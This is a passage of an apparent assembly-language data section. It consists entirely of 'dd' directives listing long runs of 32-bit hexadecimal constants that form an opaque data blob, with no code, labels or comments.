		dd 0C3F51F5Fh, 466CE08Eh, 2F47009Ch, 36D05CEh, 722E7ABAh
		dd 760056BEh, 1B2984B1h, 6709004Ch, 0AEE1398h, 42012AA9h
		dd 6C038FA3h, 8840E0E2h, 75E1C95h, 0BA405DDAh, 0D49E80A4h
		dd 75179259h, 0EC00F683h, 6B5EF7E4h, 0B45412E5h, 0C1CC4E64h
		dd 0D63080D5h, 7573C910h, 705CBD1Dh, 25428601h,	2D704F1Fh
		dd 383B00F0h, 85494351h, 5C3EAE07h, 50D1019Dh, 9F15C31Bh
		dd 770621E8h, 1F5A90A9h, 8A551DC4h, 15B57FC8h, 79E04Eh
		dd 0A638AEC0h, 0C36E8409h, 8007C676h, 96DD72B1h, 0F5E63680h
		dd 0F20FB05h, 739907B3h, 0A01C6A89h, 54015F69h,	6EFC5490h
		dd 7C5EAB0Ah, 0A90BE0BEh, 0E08A880Bh, 928F6CCh,	0FB19765Dh
		dd 735CD007h, 0DBA1A67Fh, 8B9E4D5h, 0DAEE3Bh, 8104FCA3h
		dd 50781559h, 4B4F723h,	52807B3Fh, 1700C05Ch, 0FB028548h
		dd 9EA68BACh, 0C0F1426Fh, 5D26D10h, 7779A2A0h, 0A673C0BEh
		dd 0B6FE8412h, 5BBF1000h, 0E142838h, 0B8D3542Bh, 0C41302B9h
		dd 9B8AEBE3h, 941E6860h, 0CF43001h, 0A7684082h,	70F648D4h
		dd 0FCD33884h, 9819A500h, 0BB2835F3h, 0F2EA0F00h, 0C7F62052h
		dd 92F81E02h, 972147F0h, 7594106Dh, 8D0FE02Ah, 0E03E7982h
		dd 5D689318h, 64992888h, 0F4B204D0h, 3EA9EA3h, 23ACFEBh
		dd 0BE181974h, 14C3D412h, 35CDD087h, 0A75C411h,	9EC83B00h
		dd 4249A31Dh, 0D1639F9h, 760F1800h, 64C31CFFh, 28FBD905h
		dd 0D002D38Dh, 0C7591BB9h, 0E51A801Ch, 0B215F867h, 97F4D101h
		dd 0E6FAA0C3h, 0CF2360h, 31F20C56h, 99DFEE2Ah, 4035EF1Ch
		dd 0B1F75AC0h, 1CA5128Ah, 801E5FF8h, 0F37B857Fh, 0AB07E85Ch
		dd 0AC847E77h, 0C0122342h, 989B1B2Ch, 2E13FA4h,	1FA2F92h
		dd 73D94F0Ch, 2A38F09Fh, 10A47500h, 0E49EC996h,	48F01D39h
		dd 184B4079h, 3AEB08A1h, 9B520C04h, 9080BD80h, 717FE0Fh
		dd 36164386h, 98E9E381h, 5621681Eh, 72F8F170h, 68CA00DBh
		dd 25A9D701h, 292442A8h, 0E201BA2Fh, 6B51B664h,	1DF01020h
		dd 800D3631h, 8062EC03h, 8C0071FEh, 4895BBA6h, 40B5674h
		dd 0E012CFCEh, 0FB58D0D3h, 0B500C52Ah, 9040ADE6h, 615447h
		dd 0F9BD8323h, 44ABDA29h, 8A48ED06h, 0F8E4069h,	2BEE62E1h
		dd 65D27381h, 0A9188ED3h, 0BD2D4085h, 0C0D06A34h, 2130FE10h
		dd 0DC1F6BFFh, 9B00F258h, 0FD895A15h, 296700B1h, 31843F3Ah
		dd 8824D8EFh, 1704A0AFh, 66006541h, 7E0205DDh, 2F970C0Ah
		dd 0E0848C1Fh, 80F063h,	0ECC45BC2h, 47B526E3h, 0CC028160h
		dd 0ED4B20AAh, 0DFD8CF27h, 96160FD6h, 0EC0F75C1h, 667681C5h
		dd 10807CE8h, 42E2B797h, 390069A4h, 46835634h, 0B30A95h
		dd 35186E70h, 5EE12BAAh, 807A6972h, 0FD3F38C3h,	49899A97h
		dd 0F8600EF8h, 0DFB6034Bh, 8CCFEF59h, 0DEC914DBh, 85A2D8BAh
		dd 7FB8603h, 0BD1046Ah,	3374BF68h, 30ED5C80h, 0C6244560h
		dd 7F092693h, 25D08059h, 7F37AEFAh, 8FDE00CDh, 0B1504907h
		dd 0F0000341h, 91DC22BBh, 0AE87BF4h, 4B438AFFh,	0CFD48194h
		dd 0C010EFE3h, 12006B87h, 0FE4F0749h, 1C2F2422h, 531FE547h
		dd 0B950039Ch, 0AD078CCh, 0E00BE62h, 65537259h,	31B613h
		dd 6AF05646h, 0A0E3F5FBh, 6FAC6D03h, 0DBA6C2BCh, 8570E9EEh
		dd 559660h, 51F5E8DFh, 0BA5D6CC8h, 909B880Fh, 727D208Eh
		dd 155A7h, 77836466h, 0D8C59542h, 694B5814h, 0C75601A4h
		dd 315F1DD5h, 1433C464h, 0BC182683h, 0C3B25500h, 9D05CA3Eh
		dd 63D6EA01h, 1E91FAD5h, 0D34030h, 2F0FC97Fh, 279F35C3h
		dd 2957E201h, 0C4F2E4A3h, 1F95C2C0h, 924CDA9Ch,	23E849E7h
		dd 6A488901h, 7A22702Dh, 9D4CBE00h, 0C96CB6C1h,	0C37165h
		dd 0C2C88F92h, 0D2CD526Dh
		dd 28147600h, 71511FB8h, 0CACB50C3h, 72CE003Ah,	0C92C85AAh
		dd 0D090796Ah, 0F192760Bh, 20230056h, 4C303188h, 792CC8h
		dd 0C65C29A8h, 0AE720CB7h, 4F00A071h, 95090716h, 2C99F13Dh
		dd 1FC843h, 77F06636h, 0E800F7E6h, 598931AAh, 58466871h
		dd 730F6CF1h, 1FAE9B49h, 0D1D30CC1h, 8498D8E9h,	143C8100h
		dd 2388BF6Dh, 5B70F5h, 297A35A3h, 0B7E6A2DFh, 9ECDB4Ch
		dd 0E0017B65h, 485102F4h, 0E800288Eh, 0A59E139Fh, 3F00E2A1h
		dd 6CDF8AF0h, 3D415F33h, 48808B92h, 44FE1D2Fh, 0FA3F079Fh
		dd 0E7B701AAh, 46F56423h, 14209421h, 0E0260089h, 7A40BA3Eh
		dd 0FE0EB052h, 408BDFE8h, 22A4F8ADh, 1D091FA3h,	58C680D3h
		dd 0BE1D603h, 0C2E4D000h, 0ED10DC24h, 6CD80053h, 85A7CB3Ch
		dd 8B077574h, 0BFF8F76Eh, 0F05A9257h, 43F16000h, 2E383C62h
		dd 0EC2F3Bh, 0DF971EAEh, 0A581C3Ah, 0EC70762h, 0BB106AE0h
		dd 0F87C9A6Bh, 1F840069h, 720BA59Dh, 60795411h,	6AD04200h
		dd 560E35D9h, 0A48700E7h, 8B2C6F3Ch, 0BC0F6DFFh, 204F94A6h
		dd 0E77F518h, 0A27E000Bh, 469739B9h, 80137CCh, 0C1191B5Ch
		dd 0D0EC5D8Eh, 0FCAE05EFh, 0C0850DFFh, 0E18B64A0h, 2103C0FEh
		dd 7657970Bh, 0B79CA004h, 2BD4A0CDh, 3A9D9890h,	0FE1FDB43h
		dd 0D050CF4Ch, 758C4200h, 640F8754h, 0E8A830Ch,	38920E4h
		dd 5C4C4FEBh, 0B100C8E7h, 0AA04D5BFh, 0F17CBC99h, 7913C0B2h
		dd 683119DBh, 0F470722Ch, 0C967046Dh, 901587E4h, 1631B438h
		dd 0B000437Dh, 276BD7EBh, 1DC1F503h, 40CF3EB8h,	0D09E360Bh
		dd 8B7EFFAEh, 0B29C3D00h, 0C51F894Ah, 0E8F00CD1h, 0EB512EB0h
		dd 8B16921Eh, 0B8995E80h, 0ED8ABCh, 0F82B19C8h,	73E4DBF6h
		dd 0DD00D0F8h, 876D82FCh, 9A7701h, 0BC563E07h, 0B7D7F417h
		dd 38756C26h, 70CE240h,	0A5B9002Dh, 0BA787071h,	52075A26h
		dd 0AF57C24Ah, 68EEFB30h, 85A0006Fh, 736B0E32h,	5B4C7D0Ah
		dd 0C00754Ch, 759A924Ah, 108E041h, 0FC1A4F78h, 34EDE8E4h
		dd 0CB7C9ECCh, 0F059CF00h, 0B808B791h, 64D058FBh, 71D1670Eh
		dd 0A6D4A240h, 1F4C9A8Ch, 312E004Ch, 480FD84Ah,	0B894B8h
		dd 4F1A05Dh, 0DC0045B7h, 0E918A7D7h, 242AF0F6h,	801C1CBDh
		dd 0E4E69EB2h, 0BF00E509h, 2D149113h, 0AF547Bh,	7E35491Eh
		dd 3E456342h, 385E4C01h, 0AC364AD7h, 0B0DF06E5h, 0FFD5E47Bh
		dd 527FCC20h, 0E916F8A1h, 0BE60019Eh, 0F1AE5CC4h, 551600A7h
		dd 413973D7h, 32A1CC4Fh, 704AA283h, 0CC6E50BCh,	0B60E00C9h
		dd 6C76E2F9h, 9F08D06h,	4630F300h, 9A353101h, 903BE83Eh
		dd 824D1E00h, 0D5DF8F61h, 0C0D4A000h, 124CDD79h, 0C04C2Ch
		dd 0C2D3C46Ch, 1285A40Ch, 0E81ADEh, 2DF7915Dh, 59F6C0B5h
		dd 0A3EBC8C4h, 7FFCCE40h, 94042C8Ah, 0C8AD8C07h, 5E4F5CC0h
		dd 1A2F858h, 3680C117h,	0D8B86E0Eh, 25EEBCB3h, 2ADD6900h
		dd 451A56A3h, 0F828004Fh, 6F0AF0D4h, 2E00BEF6h,	0FA297610h
		dd 7E9CDC01h, 0D9BF50BAh, 0FF303E63h, 0E780B42Fh, 8FD08C7Ch
		dd 6A5F6D00h, 0F714F46h, 84DF0030h, 95C1C38Dh, 0C8001175h
		dd 26C9C416h, 1931D35h,	97F7D0E7h, 60E895E6h, 0DE1EB4B6h
		dd 0E1002203h, 81822CA4h, 6CBD060Ch, 1085108Dh,	9F5CD816h
		dd 86530000h, 3FCA0D2h,	0C2AD5F40h, 268BA1FDh, 3BCA9B80h
		dd 0AAA25614h, 886901BFh, 369E3AE7h, 0A359E0h, 2F665F0Ah
		dd 0B99FB2B5h, 11A8B600h, 218F3783h, 312503BFh,	7AFA3A52h
		dd 0F866ED99h, 1201B642h, 41DB641Eh, 0A8D8E6C1h, 7202006Dh
		dd 0BD509F8Bh, 2B06CFC0h, 15782848h, 0E3420096h, 415C09CDh
		dd 4A001AA0h, 0A3E7A74Ch, 0B896AB11h, 32DF006Bh, 672FBF13h
		dd 3D3BC630h, 33C38746h, 9EF0751Ah, 1C25AE2Dh, 80CE6A19h
		dd 0F2D3BB0Dh, 941204F3h, 0BAD837h, 9DF1CB08h, 0ED01E738h
		dd 0C7F40CF6h, 0AAD013E8h, 0E52F00EAh, 42E40463h, 8F007484h
		dd 134EC2Dh, 0A5FE2Eh, 165038A8h, 3117643Eh, 80C2633Bh
		dd 0C1BE0B78h, 32C0F5Fh, 0D34B7415h, 9DF030A3h,	8705347Fh
		dd 964063B7h, 0C561F400h, 7DCFB8h, 36B9BDCAh, 0F54F2D5Dh
		dd 0C076D095h, 0D12E4920h, 1D7250B4h, 0A71FF318h, 44CE799h
		dd 0BF6C65BAh, 0EA8980CBh, 0C6004F61h, 0CA55C5A5h, 0E4B9A0D6h
		dd 0C48100DAh, 1862289Bh, 0F900DC63h, 0C853C531h, 3937BF0Fh
		dd 8C1DE891h, 7D958FD6h, 0FD859DA0h, 7C00E3FBh,	0C5D20D77h
		dd 0C45CC6h, 9E03A99Ah,	3BCDB49Bh, 22F64D50h, 82F34912h
		dd 0BD04EA03h, 2D53A054h, 937200B4h, 0A9F1FA89h, 4300333Bh
		dd 0F886765Dh, 407B12h,	0BB052E2Bh, 2F72F45Ah, 8AE1B360h
		dd 395EC0B2h, 1102831Ch, 687A5A18h, 0BA177B60h,	3C4A8100h
		dd 0EECED6F6h, 0A8C4C85h, 7B20DE00h, 0F838B283h, 6F22BE0Ah
		dd 0D08BBC05h, 64D305B5h, 8B980EFh, 0A60267A2h,	0BAA352E6h
		dd 0E8F04B9Ah, 0ADEE78Ch, 2C2D1CF8h, 711500B4h,	813A371Ah
		dd 0FD67FC01h, 0B323DE04h, 55D6882h, 0A920DC30h, 680DB2Fh
		dd 0FB3EA2F9h, 0FC0019C7h, 0C586DCDAh, 48153Ch,	0FAF34D70h
		dd 25C31721h, 7BF80262h, 2638843Eh, 8D436840h, 0C500C9AFh
		dd 0F0019204h, 9CAB08h,	0E726ADF8h, 51D5F2A9h, 967DA31Dh
		dd 9FC68B42h, 4B0403Bh,	0A3807D1h, 9064D9B6h, 0B3083C44h
		dd 0B8039E00h, 0D65BEE66h, 0ECE4EE09h, 20ACA482h, 6717FF72h
		dd 240FDF5Eh, 8E8ABC8Dh, 1B80B046h, 6F0DB3CCh, 0EC603095h
		dd 0CE0E39E9h, 0EBB4EF00h, 0B26212F2h, 0D6FE1231h, 28A10270h
		dd 0F7602544h, 94A8A15Dh, 0E803DECAh, 0C0F6222Fh, 0E8B5B3AAh
		dd 92C1BDh, 0DE2D20DFh,	4486618Dh, 0C64A3Dh, 0D809B319h
		dd 0ED9384Eh, 13FEA7EBh, 0E4F8A400h, 5B1CB0AEh,	0DD00B2E0h
		dd 0A9CFD632h, 7ABC005Dh, 0F7C8751Bh, 1E005372h, 26B0A55Eh
		dd 1DE3978h, 8A9FF10Ah,	0F0066D8Bh, 7200CF92h, 93139ED0h
		dd 30E40EAh, 0CAD8C2D2h, 0B1F05E24h, 0D9011902h, 38837588h
		dd 0A8C8BAFAh, 0BD361FCFh, 1B680CAh, 0F8B7B094h, 9DABF00h
		dd 0AE59875Dh, 0C55A00A1h, 9C28464Fh, 74008A1Fh, 8F2B521h
		dd 0A40584h, 0BDFDEC0Ah, 2CAE0F67h, 4BDEA30Eh, 0DD8A02Fh
		dd 57CF6D0h, 305349DCh,	0D1F8C0E9h, 283DB9D7h, 79AD8008h
		dd 0ABBA80EAh, 919201A5h, 0B166D7Fh, 0A6BDF885h, 6F798B00h
		dd 0DE7AE6FBh, 756500B8h, 3BF6A9EBh, 0EC907246h, 0FA1A1900h
		dd 25E62045h, 0F88E7F07h, 0C841C5Fh, 5318006Fh,	0B5BC378Bh
		dd 0FFFA1601h, 0DB3DDFC8h, 17A4460h, 9F5E33C4h,	80B011E5h
		dd 0C0735070h, 0EB8FEE8h, 44A4F46Ah, 57E438A0h,	0BCB8AC1Ah
		dd 86663503h, 0E8F8702Dh, 0CABB59h, 73DBABAAh, 0E58E600Eh
		dd 815B3300h, 0E246094Eh, 0A0030C94h, 0BF783996h, 0F8249C2Ah
		dd 0AAEBC700h, 634ADD9Bh, 697F0368h, 606ED170h,	0F4B486E8h
		dd 6C006FF8h, 3F425A31h, 90976B36h, 32F105C8h, 0C116215Eh
		dd 80A8778Ah, 2672B8D9h, 0E6DC56C4h, 32350E4Ah,	0B8783C0Bh
		dd 1A0094C6h, 82B83F17h, 0FCA0638h, 89603A09h, 4F396BA0h
		dd 0D7048FF2h, 0E4E7273Ch, 0D0A6A080h, 0E61E382Dh, 0B6BC2C07h
		dd 70DCB659h, 0C200247Bh, 2EE3AC1h, 2407B279h, 0F04296h
		dd 0B8F460C8h, 0A70B9B93h, 803B0194h, 1DF87648h, 0D69A0009h
		dd 9DD3199Eh, 4F1C8ADEh, 0CE80C1A6h, 2118A4C7h,	88550068h
		dd 0EBD5F72Eh, 0E000B9BAh, 1D7AFE27h, 0EDB296h,	0EC940260h
		dd 1E4B847Bh, 81BF0103h
		dd 0F01907C5h, 45B488h,	0AC94C977h, 3461FA84h, 3303FF00h
		dd 0CDE0A0EFh, 0C3D401CAh, 4B7CDE89h, 6FD4409Ah, 35987749h
		dd 4A2E1200h, 4410C05Fh, 78010057h, 70BD32AEh, 490FF085h
		dd 0A0CD933Eh, 0B85047D0h, 31FA09A0h, 0DCA0FC4Dh, 349F536Dh
		dd 0F4E39A00h, 0E7BC7E7h, 83DF009Ch, 0CA21AA86h, 0D4B207C4h
		dd 0E446C200h, 14D71DBAh, 0FFEE0951h, 6C80B1E6h, 80E233Bh
		dd 0ECEC689Ah, 45E1E5A0h, 50A48000h, 0E837FFA5h, 4AEF0070h
		dd 9EFA73F3h, 0EB390D29h, 74D85825h, 221989C4h,	0DF82BD40h
		dd 0E2B8C7C5h, 0E6A9100Eh, 3A800B4h, 24261289h,	0B820DF79h
		dd 58341A00h, 94F86441h, 22000B7Bh, 0AF3BB9A1h,	6ED62Bh
		dd 36AA791Dh, 0D0B8A8F8h, 5416A90Fh, 0ACAB0037h, 2551308h
		dd 9053D112h, 0ACC027A1h, 7751FB74h, 0B8288095h, 6E0B1FC9h
		dd 0B7A704Ah, 501BED05h, 1D114010h, 8EFC821Dh, 60CFD9C3h
		dd 0AC31F86Dh, 49F4381Ch, 0DE7FBF03h, 1DF83480h, 7302631Ah
		dd 4C7217AEh, 90A043AFh, 0B8CE4A97h, 9801DCFh, 0C97C0B6Bh
		dd 0D7EDB890h, 0F85AC000h, 66BE8AA6h, 0C5E0068h, 376999FFh
		dd 0D800D13Dh, 4159677Bh, 3F0A615h, 3688761Bh, 0FF06E85h
		dd 0BD714FBCh, 0E9AACE00h, 452E6F77h, 2B6338C2h, 0F3067500h
		dd 0ABB4989Fh, 0A819A924h, 0D59AD700h, 385DE5h,	55C3BC54h
		dd 80ECA086h, 84BEF26h,	0DB703200h, 16998Eh, 7B837C11h
		dd 0B2AAEE5Ah, 8F08927Dh, 60B6C2h, 836C8AE2h, 8D0E98C8h
		dd 0C03EDC66h, 279B724Ah, 8820087h, 41BDD50Ah, 0F800F43Dh
		dd 3BFF6130h, 999017h, 0C8B5CF8Ch, 2CB028EEh, 7ED72100h
		dd 208412FEh, 14E058F8h, 9D27AC00h, 0ABDE9023h,	0B034D200h
		dd 3EDF25BEh, 60420054h, 0A8D5E2D1h, 0A600FF23h, 0CCD806EBh
		dd 2484ED59h, 80044404h, 0A0581110h, 5B0E8C60h,	0E50E76BAh
		dd 0FB00DD08h, 0A4FD23B3h, 0FBCB00C4h, 9B3B5BDCh, 2700C6D0h
		dd 2F6F3674h, 0F753370Fh, 0C054F1F7h, 279B2C8h,	27297BB6h
		dd 0E8C0E2C9h, 0CE3A8EF6h, 0CBD8DC1Bh, 8CA60761h, 0C2F04850h
		dd 1173009Dh, 2C4C8F63h, 1F1C053Fh, 70A67416h, 18982944h
		dd 0BE9200E7h, 3CAFF282h, 8748E037h, 80E82C1Ch,	0B4CC6F00h
		dd 202733Ah, 0ACDD0EDEh, 0A4E26E50h, 111FFEC0h,	0D775EB01h
		dd 9F68707Bh, 0F177FF8h, 20CECB71h, 0C78F2220h,	0D1035552h
		dd 3C0FE0BBh, 0BA7BE857h, 70A40071h, 4898F028h,	99E03FB8h
		dd 0A61F6006h, 1B19E25h, 0AEFC85CBh, 0C0BE957Bh, 0D4008C19h
		dd 0ACE2471h, 0F31F83h,	86B96AF9h, 51DECA8h, 0A3649B26h
		dd 41784000h, 421079h, 4F62653Dh, 8DFE36B0h, 2700B8B8h
		dd 45265E55h, 3FDCCAEDh, 3802C131h, 0B5646043h,	5B9DB0C0h
		dd 6E0F2E1Fh, 6BF2A180h, 3999ADE2h, 9A09EFF6h, 0C0AF7337h
		dd 300D405Dh, 58CF9B7Ch, 0EE5F2C00h, 0C315CC98h, 28B085h
		dd 0DE136801h, 0B0334050h, 389A48h, 48CFB93Fh, 1FBFD30Fh
		dd 0C0C5E6AFh, 877CFCBAh, 6600A683h, 95B2CED8h,	81E179h
		dd 58E3D521h, 7CF8517Fh, 0AA00C8E8h, 0AF04ABD0h, 13A0994Ch
		dd 3AF0A3h, 122281Ch, 0FE00EA53h, 0FC33F662h, 48840A9Dh
		dd 0C22EB8A8h, 22B20FA7h, 6FEE6040h, 0B30032EBh, 0B6230989h
		dd 0E8F57C44h, 97F609Ah, 6C831B69h, 4841A001h, 63455847h
		dd 3031D5EDh, 0F2B3EF0h, 0E12DDE7Eh, 0E400E414h, 0ADD034FFh
		dd 0D12A9EC5h, 5700F0D9h, 31114BDFh, 798A130Ch,	0AD18C0ACh
		dd 0AEFF2B8Eh, 0D59EC115h, 40DB2018h, 8974B951h, 6B1C3F00h
		dd 0D9B72848h, 99AF0106h, 67D33355h, 0E85AC598h, 0F002646h
		dd 2BB6C0FEh, 0C0669911h, 0B0A75599h, 46031D38h, 62FF2C9Bh
		dd 0F209D8ACh, 3F57E073h, 4E80EFA7h, 0B38E2D7Fh, 49C0871Fh
		dd 9EC7AEE1h, 150A9EFh,	0B7064102h, 0F4B9EED8h,	0AEE22AE1h
		dd 0EB1500C8h, 3720A97Bh, 0A100BF54h, 0EAF14B85h, 1D626DDh
		dd 7CE0CB64h, 0C40AD8BDh, 7A004D3Ah, 27E4EB35h,	2ACFF7h
		dd 33E31247h, 44522E1Bh, 0DA596A00h, 0C890B17Eh, 45180004h
		dd 0F7CFB6F8h, 0AE07CBFFh, 0A95BC516h, 0A836BE93h, 7D0EA8Ch
		dd 9513A2B9h, 0CE3CB010h, 0C306542h, 0AB44D1D8h, 0AE8B38F4h
		dd 0C5992BB9h, 2C3D08A1h, 5C170088h, 59067CF5h,	0C7F64838h
		dd 0C2B8EF03h, 3FBAFCCFh, 998060FDh, 29E91D65h,	3BD503EEh
		dd 40624328h, 180A1870h, 0FA11F550h, 4F88A6AEh,	0F4B82480h
		dd 55F329h, 0ED382FF1h,	0FD5ABD39h, 3F0F1A03h, 0C0EFE1FBh
		dd 0F1F52859h, 47E43980h, 0C344FDDBh, 0A293506h, 0A0D74Ch
		dd 6628B5A8h, 0E41EB17Fh, 0CCDA9000h, 45679F7h,	34C03069h
		dd 0E5084240h, 9EA3981Ch, 0A56C39C3h, 0D1082770h, 0FA8B3803h
		dd 30B7E0EFh, 7E12F50Ch, 6607A5F9h, 0DB61735Fh,	80823799h
		dd 7B4E459Ah, 1000E043h, 1BDE05BDh, 78775Fh, 7D061C44h
		dd 371D1304h, 0B6927200h, 6AE15363h, 3DF300A1h,	46650993h
		dd 303FA0F4h, 0BEA88092h, 0B95DBBBAh, 0EADE221Dh, 0FF049553h
		dd 0D1140A96h, 960207C8h, 64B68092h, 26079E0Fh,	46914DCEh
		dd 4228E180h, 0D19C3EE3h, 2962894Ch, 2D22A69Bh,	84902F33h
		dd 974836C4h, 275F5642h, 1190DFBAh, 0E33D377Bh,	5B4448C4h
		dd 6FB2888Eh, 93803B38h, 0FF0F56E2h, 3D948055h,	3263E8h
		dd 0B1878F30h, 700D8910h, 0B5C81700h, 21DD9E1Bh, 77E500CCh
		dd 0E2D52607h, 0F40FECA2h, 67D01E0Bh, 0DB009DA8h, 0FB5DADh
		dd 6E903E6h, 4D4BDE7Ch,	0DAB76800h, 8B1D850Bh, 0B9862h
		dd 32D0C9EBh, 3B7999F6h, 8A52E00h, 97246CFh, 0BA930083h
		dd 155FD44Eh, 8DF034C1h, 6A00717Dh, 1ECC4566h, 0A9A157ABh
		dd 8CFC3CC4h, 86EE0090h, 2D6DD635h, 19F68B64h, 0D5855D00h
		dd 0F1905642h, 651C0018h, 0A31AC9Bh, 0D00ED78h,	0FA19A475h
		dd 1835CFD2h, 102A6ECDh, 2B005477h, 0A70C7244h,	0EEA20F73h
		dd 6CFCA0BFh, 83800086h, 89A94829h, 0D8180474h,	0FB58A1EFh
		dd 58501671h, 0DD620CF7h, 0A6002BC4h, 7016431Bh, 0FBE435B4h
		dd 6D6EFD8h, 99F0F56Ch,	260020A7h, 88FAB160h, 82DC4Bh
		dd 132DF3B5h, 0F0D80741h, 80D0EE38h, 5F520170h,	4B87D3h
		dd 659DB449h, 0CCB2B00Fh, 916F3801h, 0A2ECAF0Ah, 0F66F370h
		dd 3FB36D5Ah, 80D0EFC4h, 67E83546h, 0A84C3138h,	3B009DC2h
		dd 9ABDA6DFh, 2738BCDh,	0B76D5E54h, 18E06A1Fh, 0FE03F7C5h
		dd 0DD128856h, 0BD420008h, 0C849FBACh, 0DB00BBB9h, 3EC36E8Dh
		dd 7C2B7643h, 0EBAC175Ch, 0A9A866h, 8AA57DDh, 776EBCh
		dd 0D3651EB3h, 40CAB836h, 9500C7B8h, 26C2D131h,	592394h
		dd 86B01613h, 7CAB8984h, 0C8D01400h, 9F9AB199h,	0D14F0120h
		dd 61EF26CFh, 32D9F87Eh, 0C2C49200h, 9DDB21A5h,	5D430015h
		dd 9CBCCC5h, 0AB00829Fh, 21E46681h, 58EEA4ADh, 0F47B731Bh
		dd 0A8351E54h, 0E465CF7Dh, 0CB60B8AFh, 73361ECEh, 42D6D000h
		dd 13DD3B06h, 0C1E70161h, 0F2AEE514h, 3728807Eh, 731E26ADh
		dd 153E0010h, 74385854h, 0A0041ABh, 0CAD8F797h,	3CB5294Bh
		dd 0BA00015Ah, 6CD7F89Ah, 7A1283D5h, 8A013933h,	0C0916524h
		dd 0B9ADD843h, 0FFD828A3h, 21580163h, 0A508D4A4h, 8032D5E3h
		dd 0BC1C330h, 18D791h, 0C7F17C55h, 0F462465Ah, 0CCAC6800h
		dd 1345CAECh, 4F5D0012h, 2CE68193h, 69245E57h, 0CB007DA9h
		dd 439967D6h, 1E4904D7h, 0C1B7EE1Dh, 80DA740Eh,	32EBCE0h
		dd 0C57908h, 0F5FF730Ah
		dd 78EF14Fh, 5E72D100h,	79ABC6FBh, 0B8300029h, 0F5BD9F6h
		dd 473EFF7Dh, 9920009Fh, 6569B5BBh, 0EEBA03A7h,	3FCA505h
		dd 0B6BD01E8h, 0D229B900h, 0BAF07433h, 0E32A3D5Bh, 7A65FA00h
		dd 0F5B3C097h, 0B1290D01h, 0B6AC861Dh, 0DDE0D4h, 6F72C625h
		dd 0B2BE922Fh, 77E36200h, 124DE210h, 97604890h,	69BCA000h
		dd 8E1EE5A7h, 6500AAF8h, 0B008D7CEh, 7E704Fh, 0DE78E9A9h
		dd 74509E11h, 0DBEE9B60h, 0A0F5FBA8h, 6588D4h, 0BD30AD73h
		dd 1F0AA341h, 0E30FB7F4h, 781D8Eh, 9E319B62h, 4390003h
		dd 1EBFDFA6h, 72003D5Eh, 0F6AD432Eh, 761DF149h,	0B2A800A4h
		dd 5C29030Fh, 0CE00686Dh, 0DDF7A5C4h, 1F9BD02h,	0B6FE94D5h
		dd 0D38AAA11h, 0A80C1EC0h, 7573AE01h, 0FB967893h, 1CFF51D4h
		dd 701B972Bh, 0FC1FA20h, 584FD600h, 0DA5519BEh,	277E67h
		dd 0E181DC62h, 1EE424Bh, 0DFF7CD00h, 87FB8C6Dh,	4DCF00C7h
		dd 0B6089636h, 0CD00B18Fh, 0BC8A88D0h, 3D81B457h, 0C100D37Eh
		dd 4F24C490h, 1E001F68h, 0BE2E6DE1h, 3CEB10AFh,	4C0F4318h
		dd 3D3C8Ch, 0B10B9461h,	91008A1Ah, 0A0E024Fh, 0B83CB445h
		dd 987571FDh, 0EB353EEDh, 0BC94900h, 691DC5Fh, 0BC618300h
		dd 3C5344E9h, 0C8E4F1DAh, 273F61Eh, 57696B35h, 144836E1h
		dd 4D0029D6h, 1503913Ch, 0F9779D5h, 0FC8D5A78h,	8EE2C8A0h
		dd 0BE1883ABh, 33F0C6C7h, 22C50045h, 375CACB0h,	0E7001448h
		dd 23D1034Ch, 907D08F3h, 744B0914h, 2CA34032h, 5CF034D4h
		dd 98484C95h, 4D0E7EE8h, 0A0E2673Dh, 3187B004h,	0FB5600C8h
		dd 0F34ADE29h, 0BD007099h, 0F041ECA4h, 0FEC45E7Ah, 0D3EA23h
		dd 0CF7F9074h, 99C339CCh, 1F835400h, 0EA262C62h, 0E5B3B03h
		dd 91863B3Dh, 0F14FF3AFh, 7B747E50h, 61467C04h,	3CC0410Fh
		dd 91A994h, 0B2340C8Ah,	0C52E5116h, 80AD4F38h, 0FB48CA77h
		dd 37FD4E72h, 9042607Ch, 0C17D1BA0h, 63CE6600h,	5E4F0A8Ch
		dd 0F1050095h, 2AFE02CDh, 470E3B40h, 6F4C1CB5h,	555D6237h
		dd 1B4C60D6h, 78F25C8Ah, 910F3901h, 0D4B4EBFFh,	0B300F80Dh
		dd 0FA3AD21Ah, 0EC8422Bh, 28DC2672h, 0EBA80EA0h, 930185A6h
		dd 0B75C4E91h, 8EFC0335h, 9A0D1E52h, 0E84A03F2h, 9CC09F75h
		dd 8600A4F9h, 7F815FB9h, 11C6DAh, 0D153947Eh, 1BCF2290h
		dd 259CE100h, 0C0D695DBh, 179301F9h, 4985AFAh, 0E8E0310Bh
		dd 0DC0021D8h, 2FD512B0h, 54A77817h, 34E84Ah, 0C5272977h
		dd 75C9CAB3h, 65686C0Ch, 0E88E2148h, 128B188Ah,	29CF10B0h
		dd 0F0D2C07h, 0F981E56Eh, 68836614h, 0C4A0FB64h, 0E23565C8h
		dd 0AD1C0400h, 0FD8F84C6h, 5CC32EBBh, 0CBA90E2Dh, 2C0AE320h
		dd 1A00EAEBh, 837304D0h, 7A26527h, 0D2AFF999h, 0F3C70F8h
		dd 8100E194h, 66969250h, 32ED4Ah, 0CCF72B5h, 8F499F52h
		dd 0D74CE400h, 34CDD15Dh, 8076F5h, 0FDE5061Dh, 77D2D81h
		dd 180B5400h, 0A79B6337h, 0F69E00DCh, 0D0D143BFh, 0EF00D47Ch
		dd 35625C1Fh, 71C85E7h,	0AA8C41A4h, 81DE3519h, 40D4C5F2h
		dd 1C0A5A8h, 42A91000h,	0FE3BD77Ch, 0D340012h, 3B29371h
		dd 0F1000A86h, 3895B163h, 8F50C2h, 0A4E5791Ah, 7D3F749Ch
		dd 0EA0E66ECh, 40B88BBDh, 98A80B58h, 0BC5B005Fh, 64A79D6h
		dd 341E91EDh, 13009AA1h, 7D5AAD92h, 40221799h, 0C7170763h
		dd 7EE38110h, 1308C444h, 0E082BAA1h, 5501F129h,	1486D4A2h
		dd 0E0409062h, 0F608ABh, 7173FBFEh, 40F5C7B6h, 3245C900h
		dd 5B974E75h, 0CF9500C5h, 990892C8h, 0E70165FEh, 3D74D13h
		dd 787402EEh, 5F2100AEh, 764929E0h, 0C003B371h,	0D4E93D9Ch
		dd 5DE1A8C7h, 327E4Ah, 11A9372Ch, 82844DACh, 0F6A67905h
		dd 7CC06DA7h, 0B80F3EE8h, 0CFDC0728h, 503FD9B4h, 0C0393D2h
		dd 1B7AF01h, 915CC616h,	463B8440h, 27690075h, 0C95BECB1h
		dd 0D9B0A15Ah, 2CFD1F00h, 0B9B4F7D5h, 0ACF00048h, 9C6EA21Dh
